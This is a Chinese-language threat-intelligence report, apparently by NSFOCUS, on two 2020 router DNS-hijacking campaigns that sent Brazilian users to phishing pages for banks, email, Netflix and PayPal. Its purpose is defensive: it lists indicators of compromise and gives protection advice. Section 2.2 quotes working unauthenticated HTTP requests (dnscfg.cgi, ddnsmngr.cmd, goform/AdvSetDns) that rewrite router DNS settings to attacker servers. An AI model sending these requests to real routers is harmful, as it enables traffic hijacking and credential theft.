摘要

DNS劫持危害严重,会给用户带来糟糕的网络访问体验,也有可能威胁到用户的数据乃至财产安全。在2020年,我们通过绿盟威胁捕获系统捕获到两起DNS劫持事件,本文将对其进行分析,并将重点放在正在发生的第二起事件上。

攻击者进行DNS劫持的流程为:首先对暴露在互联网上的存在未授权DNS修改漏洞的路由器进行攻击,将其DNS服务器地址改为攻击者的恶意DNS服务器;之后,当用户访问攻击者劫持的域名时,会访问到钓鱼网站,页面中会诱导用户输入账号密码、银行卡号等敏感信息;最后,攻击者利用收集到的敏感信息获利。

本文的关键发现如下:

2020年至今,我们共捕获到2起DNS劫持事件。第一起攻击主要集中在5月24日,攻击源只有1个,第二起攻击在8月18日首次被我们捕获到,截至笔者行文,该攻击还在进行中。

在第一起劫持事件中,攻击源在短时间内进行了全球范围的攻击,目标端口是80和8080,共使用了4类远程DNS修改(Remote DNS Change)漏洞。

在第二起劫持事件中,攻击者从8月18日起持续进行全球范围的攻击,目标端口是80、81、82、8080和8182,攻击者仅利用了一种攻击方式,但是,我们在Exploit-DB中共发现18条相关的漏洞信息,涉及多个厂商的路由器。

第二起攻击的攻击源有27个,77.8%的攻击源位于荷兰,其余攻击源位于美国。这些IP均来自同一ASN(AS14061),所属ISP为DIGITALOCEAN-ASN。绿盟威胁情报中心的数据显示,85.2%的IP有IDC标签。

发生DNS劫持后,路由器的首选DNS服务器会被篡改为149.56.152.185。我们对Alexa排名前 1万的域名解析数据进行了分析,发现攻击者的攻击目标主要为电子邮箱、银行和通用的娱乐、电商、支付平台类网站。采集的个人信息包括电子邮箱账户、支票账户、网络银行账号、银行卡号和相关银行卡信息及其密码等。攻击者劫持的大部分域名为巴西的域名,并且我们发现了用葡萄牙语编写的代码,因此,我们判断攻击者的攻击目标以巴西为主,并且攻击者很有可能是巴西人。

我们利用绿盟威胁情报中心的资产数据对潜在受影响的设备分布情况进行了评估。我们发现真正暴露在巴西的主要是Beetel公司的BCM96338这一型号的路由器,但其暴露数量也仅为361台。假定不存在未被识别出的设备,那么本次DNS劫持事件对巴西的影响有限。但是由于攻击者的扫描是全球范围的,其他国家的设备的DNS也存在被篡改的可能。不过即便被篡改,根据我们对劫持目标的分析,其他国家受影响的用户的数据泄露的可能性也比较小。

由于厂商设备型号众多,未被披露的型号同样可能存在相同的漏洞。从厂商角度来看,TP-LINK、ASUS和D-Link路由器的全球暴露数量均超过百万,而在巴西,这三个厂商的设备也有一定的暴露面。

针对DNS劫持的防护,我们建议,在网页出现异常时提高警惕,为系统指定DNS服务器,及时将路由器固件升级为最新版本等。

一、简介

1.1什么是DNS劫持

DNS,即Domain Name System(域名系统)[1],是一种将域名解析为计算机能够识别的网络地址(IP地址)的系统,是Internet的重要组成部分。DNS劫持指DNS服务器的拥有者(或攻击者)恶意将某域名指向错误的IP。

1.2DNS劫持的危害

DNS劫持危害主要有以下五点:

(1)无法访问某些域名,表现为连接超时等。

(2)访问某些域名时跳转到其他网站,如访问Google却跳转到百度页面。

(3)当访问到错误的域名时,跳转到广告页面。

(4)访问某些域名时,页面增加了广告信息。主要针对静态网页。

(5)劫持到模仿真实网站做成的假网站,从而窃取用户名、密码甚至银行卡卡号、密码等恶意行为。很多情况下难辨真伪。

前四点会为用户带来糟糕的体验,以及为DNS拥有者带来一笔不菲的收入。而最后一点直接威胁到用户的数据乃至财产安全,是非常严重的。

1.3DNS劫持是如何发生的

DNS劫持的发生,主要有两种可能:

(1)ISP(网络服务提供商)提供的DNS出现问题,或是趋于利益,或是遭到攻击。

(2)设备(路由器、用户设备等)的DNS相关设置被恶意篡改。

二、DNS劫持威胁分析

2.1攻击趋势分析

我们对DNS劫持相关日志进行了分析,如图 2.1 所示,2020年至今,我们共捕获到2起DNS劫持行为。第一起攻击主要集中在5月24日,攻击源只有1个,第二起攻击在8月18日首次被我们捕获到,截至笔者行文,该攻击还在进行中。本章也将主要对第二起攻击进行分析。

图 2.1 DNS劫持攻击趋势分析

2.2攻击手法

2.2.1第一起DNS劫持事件

在第一起劫持事件中,攻击源只有一个,在短时间内进行了全球范围的攻击,目标端口是80和8080,共使用了4类远程DNS修改(Remote DNS Change)漏洞。

漏洞1:

攻击手法:

GET/dnscfg.cgi?dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1

目标端口:80、8080

目标设备:我们在Exploit-DB中共发现18条相关的记录[1],涉及多个厂商的路由器,包括D-Link、UTstarcom、Beetel、iBall Baton、Tenda、Pirelli、Exper、ASUS、COMTREND、PLANET、inteno、TP-LINK、Shuttle Tech等。

漏洞2:

攻击手法:

GET/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8

目标端口:80、8080

目标设备:D-LinkDSL-2640R(EDB-ID: 43678)、DSL-2740R(EDB-ID: 35917)。

漏洞3:

攻击手法:

GET/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP

目标端口:80、8080

目标设备:D-LinkDSL-2640B(EDB-ID: 36105)。

漏洞4:

攻击手法:

GET /goform/AdvSetDns?GO=wan_dns.asp&rebootTag=&DSEN=1&DNSEN=on&DS1=111.90.159.53&DS2=8.8.8.8HTTP/1.1

目标端口:8080

目标设备:我们在Exploit-DB中共发现7条相关的记录,涉及多个厂商的路由器,包括Secutech、Tenda、Unicon等。

2.2.2第二起DNS劫持事件

在第二起劫持事件中,攻击源有27个,8月18日起持续进行全球范围的攻击,目标端口是80、81、82、8080和8182,攻击方式唯一,采用了上一节提到的漏洞1。

攻击手法:

GET/dnscfg.cgi?dnsPrimary=149.56.152.185&dnsSecondary8.8.4.4&dnsDynamic=0&dnsRefresh=1

从上述攻击手法中我们也可以看到,攻击者在dnsSecondary和8.8.4.4之间忘记写“=”了,这将导致目标设备的dnsSecondary并不会被攻击者所改变。

2.3攻击源分析

说明:本节的攻击源分析仅针对第二起攻击。

2.3.1攻击源国家分布

我们共捕获到27个攻击源的DNS篡改行为,这些攻击源分布很集中,77.8%的攻击源位于荷兰,其余攻击源位于美国。我们发现这些IP均来自同一ASN(AS14061),所属ISP为DIGITALOCEAN-ASN。绿盟威胁情报中心的数据显示,85.2%的IP均有IDC标签。因此,一个合理的推测是,这些IP存在漏洞,被攻击者攻破后进行DNS劫持攻击。

2.3.2攻击源开放端口分布

图 2.2是攻击源主要开放的端口的分布情况,这些攻击源中,大部分开放了22、443和80端口。

图 2.2 攻击源主要开放端口分布情况

2.4攻击者服务器信息

目前已知存在DNS劫持现象的服务器地址是149.56.152.185,通过遍历Alexa的Top1M域名列表[2]的前一万域名,找到了部分异常情况,这些域名被劫持到了攻击者的IP。在一段时间内,我们检测到这个IP是在变化的,依次为:149.56.79.208、107.23.99.48、149.56.79.215。截止发文时,最后一个IP仍然活跃。

149.56.152.185、149.56.79.208、149.56.79.215位于加拿大魁北克省博阿努瓦,运营商为ovh.com。107.23.99.48位于美国弗吉尼亚州阿什本,运营商amazon.com。表 2.1和表 2.2分别是149.56.152.185和149.56.79.215的端口开放情况。

表 2.1 149.56.152.185端口开放情况

端口

协议

服务

状态

53

TCP

domain

open

3389

TCP

ms-wbt-server

open

表 2.2 149.56.79.215端口开放情况

端口

协议

服务

状态

22

TCP

ssh

open

25

TCP

smtp

open

80

TCP

http

open

111

UDP

rpcbind

open

111

TCP

rpcbind

open

445

TCP

microsoft-ds

filtered

2.5 DNS劫持目标分析

攻击目标主要为巴西电子邮箱类银行类,还有和财产相关的通用娱乐电商支付平台类。采集的个人信息包括电子邮箱账户、支票账户、网络银行账号、银行卡号和相关银行卡信息及其密码等。另外,还有CPF码(巴西纳税人标识)以及持卡人姓名等,是巴西纳税人的重要信息。可见攻击者目标明确,对财产方面感兴趣。另外我们注意到[3],有攻击者在2019年3月,也对类似的域名进行过劫持。

所有的假页面有一些共同点:

一是HTML结构简单,几乎无CSS,而用整页图片替代;

二是采用PHP生成网页,还有少量JavaScript文件用于检测输入信息的合法性;

三是仅有登陆功能可用,其余大部分超链接无法使用或者链接到404页面;

四是均为HTTP协议,无法通过HTTPS访问;

五是大部分网页为葡萄牙语(巴西官方语言),被攻击的域名也以巴西域名(br后缀)为主,且发现了用葡萄牙语编写的代码,猜测攻击者为巴西人可能性较大。

以下为具体案例:

a) outlook.comOutlook邮箱

打开后显示葡萄牙语登录页面。随意输入邮箱密码后跳转到br.msn.com,并提示找不到服务器IP。猜测攻击者希望跳转到真实页面,但未实现。

b) live.comOutlook邮箱

同上。

c) msn.comMSN门户

显示为Outlock邮箱登陆页面,同上。

d) terra.com.brTerra邮箱(巴西)

主页所有链接打开后均为404,可以输入用户名密码,输入后点击登录仍跳回主页。

e) bradesco.com.brBradesco银行(巴西)

打开主页仅有顶部可用,要求输入机构编号用户支票账号,点击ok后跳转到404页面。(猜测是攻击者尚未配置完毕)

f) caixa.gov.brCAIXA银行(巴西)

图 2.3 CAIXA银行的真实页面(上)和攻击者伪造页面(下)

图 2.3是巴西CAIXA银行的真实页面和攻击者伪造页面,虽然看起来很像,但后者仅有登陆功能。

  • 访问被劫持页面,主页仅有一个登陆按钮,其余为单纯图片,点击无反应。

  • 点进去后要求输入用户名,并选择个人、法人或政府。用户名要求10至20位。随意输入即可进入到下一级。

  • 要求输入网络银行密码。页面弹窗提示用网页的虚拟键盘录入,但实际上仅能通过键盘录入。这应该是攻击者尚未完善。随意输入进入下一级。

  • 称当前计算机需要登记后才能访问,阅读后进入下一级。

  • 要求输入CPF码(巴西纳税人码)、银行卡号、计算机昵称。这里CPF有合法性检查,我们编造了一个合法的CPF:12345836407,成功进入下一级。值得一提的是,此处检查CPF合法性的JavaScript,使用葡萄牙语编写的,猜测攻击者为巴西人可能性较大。

  • 选择计算机登记时间:永久、1至365天、仅此一次,选择后进入下一级。

  • 显示计算机成功登记。进入下一级。

  • 要求输入数字密码。限制六位,随意输入进入下一级。

  • 确认数字密码,限制六位,无需与上次相同,提示成功,然后显示为一片空白。

g) santander.com.brSantander银行(巴西)

图 2.4 Santander银行的真实页面(上)和攻击者伪造页面(下)

图 2.4是巴西Santander银行的真实页面和攻击者伪造页面,后者仅有登陆功能。其主页提供两种登陆方式:CPF机构编号用户支票账号

  • CPF码有合法性检查,编造了合法的CPF 12345836407后要求输入登陆密码,随意输入后要求输入电话号码、CVV码、6位或8位超级数字密码(姑且这样翻译吧,实在看不懂葡萄牙语)、4位数字密码。随意输入后要求输入密码卡,包含50个4位数和卡号。随意输入后要求输入卡号和签发日期,日期有合法性检查。随后显示成功信息。

  • 随意输入机构编号、用户支票账号后跳转到登陆页面,要求输入用户名和密码。随意输入后进入下一级,显示先前输入的支票账号,要求输入支票密码、设备序列号和令牌(这应该是一种安全验证设备)。满足位数限制,随意输入后显示成功开通网上银行。

h) santandernet.com.brSantander银行(巴西)

同上。

i) itau.com.brItau银行(巴西)

所采集信息基本与上银行网站同,不做赘述。

j) bb.com.br,巴西银行

所采集信息基本与上银行网站同,不做赘述。

k) citibank.com,花旗银行

404 Not Found。猜测是攻击者尚未配置完毕。

l) netflix.comNetflix视频网站

图 2.5 攻击者伪造的Netflix页面

图 2.5是攻击者伪造的Netflix页面,要求填写银行卡信息,打开主页后只有登录按钮可用,其余跳转到404页面。这里在一段时间内发现两种情况:

  • 点击登录后提示可免费获取一个月会员,要求输入邮箱和密码。随意输入后进入下一级,要求输入银行卡信息,包含名、姓、CPF、卡号、签发日期、CVV码。随意输入后提示成功。

  • 点击登录后要求输入邮箱和密码,提示用户被暂停,需要验证账户,要求输入银行卡信息,包含名、姓、CPF、卡号、签发日期、CVV码。随意输入后提示成功。

m) Americanas.com.br,Americanas电商平台(巴西)

图 2.6 Americanas电商平台的真实页面(上)和攻击者伪造页面(下)

图 2.6是Americanas电商平台的真实页面和攻击者伪造页面,两者区别明显。点击登录,要求输入用户名(邮箱)Americanas密码。提示可以兑换优惠券,要求输入银行卡号、签发日期、持卡人姓名、CVV。随意输入后显示优惠券码。无论如何操作总显示同一优惠券码。

n) paypal.com PayPal支付平台

2.7 攻击者伪造的PayPal页面

图 2.7是攻击者伪造的PayPal页面,主页显示英文界面,点击登录,要求输入邮箱、密码、全名、生日、国家、住址、城市、邮编、银行卡号、签发日期、CVV码、密码

2.6潜在受影响设备暴露情况分析

通过Exploit-DB,我们可以获取存在远程DNS修改漏洞的设备厂商和型号,因此,本节将从这两个角度对潜在受影响的设备进行评估,数据来自绿盟威胁情报中心。由于劫持目标与巴西有关,除分析全球受影响情况外,我们也对巴西的受影响设备的分布情况进行了分析。

图 2.8是潜在受影响的设备型号的分布情况,在我们可识别的设备中,真正暴露在巴西的主要是Beetel公司的BCM96338这一型号的路由器,但其暴露数量也仅为361台。从这个角度来看,假定不存在未被识别出的设备,那么本次DNS劫持事件对巴西的影响有限。但是由于攻击者的扫描是全球范围的,其他国家的设备的DNS也存在被篡改的可能,不过即便被篡改,根据我们对劫持目标的分析,其他国家受影响的用户的数据泄露的可能性也比较小。

图 2.8 潜在受影响设备暴露情况(设备厂商-型号)

图 2.9是潜在受影响的设备厂商的分布情况,之所以从这个角度来考虑,是因为Exploit-DB的数据仅为互联网上披露出来的数据,但一个厂商设备型号众多,未必会被全面进行测试,未被披露的型号同样可能存在相同的漏洞。从图 2.9可以看出,TP-LINK、ASUS和D-Link路由器的全球暴露数量均超过百万,而在巴西,这三个厂商的设备也有一定的暴露面。但是这些设备有多少的DNS可被篡改,我们就没有进行验证了。

图 2.9 潜在受影响设备暴露情况(设备厂商)

三、小结

本文首先对DNS劫持的成因和危害进行了介绍,之后介绍了今年我们捕获到的两起DNS劫持事件。

针对DNS劫持的防护,我们有如下建议:

当发现网页出现异常时,如加载速度慢、显示异常、功能缺失、要求录入个人信息等,立即停止访问,更换网络环境或手动配置DNS后再试。

尽量使用HTTPS访问网站。当HTTPS证书错误或仅能通过HTTP访问时,谨慎操作,提高警惕(但这也有可能是管理员的疏忽导致的)。

一般情况下,系统(尤其Windows)自动选择DNS服务器时,会采用上级所提供的。路由器也会以采用上级提供的DNS,即ISP(网络服务提供商)的DNS服务器。如果路由器DNS因某些原因被篡改时,下属设备就会受到影响。这种情况下只需要为系统指定DNS服务器即可避免DNS劫持攻击。这里列举一些公认的DNS服务器[4],具体延迟还需要自行测试,挑选速度快、稳定的DNS即可。

表 3.1 常用DNS服务器列表

首选

备用

地区

提供商

8.8.8.8

8.8.4.4

美国

Google

9.9.9.9

149.112.112.112

美国

IBM

208.67.222.222

208.67.220.220

208.67.222.220

208.67.220.222

美国

OpenDNS

1.1.1.1

1.0.0.1

美国

CloudFlare

114.114.114.114

114.114.115.115

中国

114DNS

223.5.5.5

223.6.6.6

中国

阿里

180.76.76.76

中国

百度

101.226.4.6

218.30.118.6

中国

DNS派(电信)

123.125.81.6

140.207.198.6

中国

DNS派(联通/移动/铁通)

防止路由器DNS设置被篡改是“治本”的方法。首先避免使用默认登陆密码(如admin, guest等)和弱密码(如123456, 88888888等);定期更新路由器固件,留意路由器厂商公布的漏洞信息,防止被黑客骇入;如果有条件,不把路由器IP(尤其是管理页面)暴露在公网,为攻击者留下可乘之机。限于IPv4地址数量,我国大部分家用宽带无法分得公网IP,且运营商封禁了常用web端口(80, 8080, 443),也在一定程度上规避了发生的风险。

如果你追求更安全纯净的DNS服务,DoT(DNS over TLS)和DoH(DNS over HTTPS)或许是更好的选择,代价是耗费更长的时间。本文不做赘述。

四、IoC

1第一起DNS劫持事件

攻击源:

51.159.71.63

恶意DNS服务器:

111.90.159.53

第二起DNS劫持事件

攻击源:

134.209.194.220

134.209.205.83

157.245.69.183

161.35.82.213

161.35.90.137

165.22.206.34

167.172.47.178

178.62.204.69

178.62.205.16

178.62.206.207

178.62.208.183

178.62.208.240

178.62.211.51

178.62.227.36

178.62.244.184

178.62.244.210

178.62.244.220

178.62.244.234

178.62.244.245

178.62.245.27

178.62.245.40

188.166.24.138

188.166.26.148

188.166.29.118

188.166.29.173

64.225.66.217

64.225.78.202

恶意DNS服务器:

149.56.152.185

①我们在Exploit-DB中对关键词“DNS change”进行检索,并对结果进行了分类整理。

参考文献

[1] Domain Name System, https://en.wikipedia.org/wiki/Domain_Name_System

[2] Alexa Top 1M, http://s3.amazonaws.com/alexa-static/top-1m.csv.zip

[3] PayPal, Netflix, Gmail, and Uber usersamong targets in new wave of DNS hijacking attacks, https://www.ixiacom.com/company/blog/paypal-netflix-gmail-and-uber-users-among-targets-new-wave-dns-hijacking-attacks

[4] 世界各地DNS服务器地址大全,http://ip.yqie.com/dns.htm

声明:本文来自绿盟科技研究通讯,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。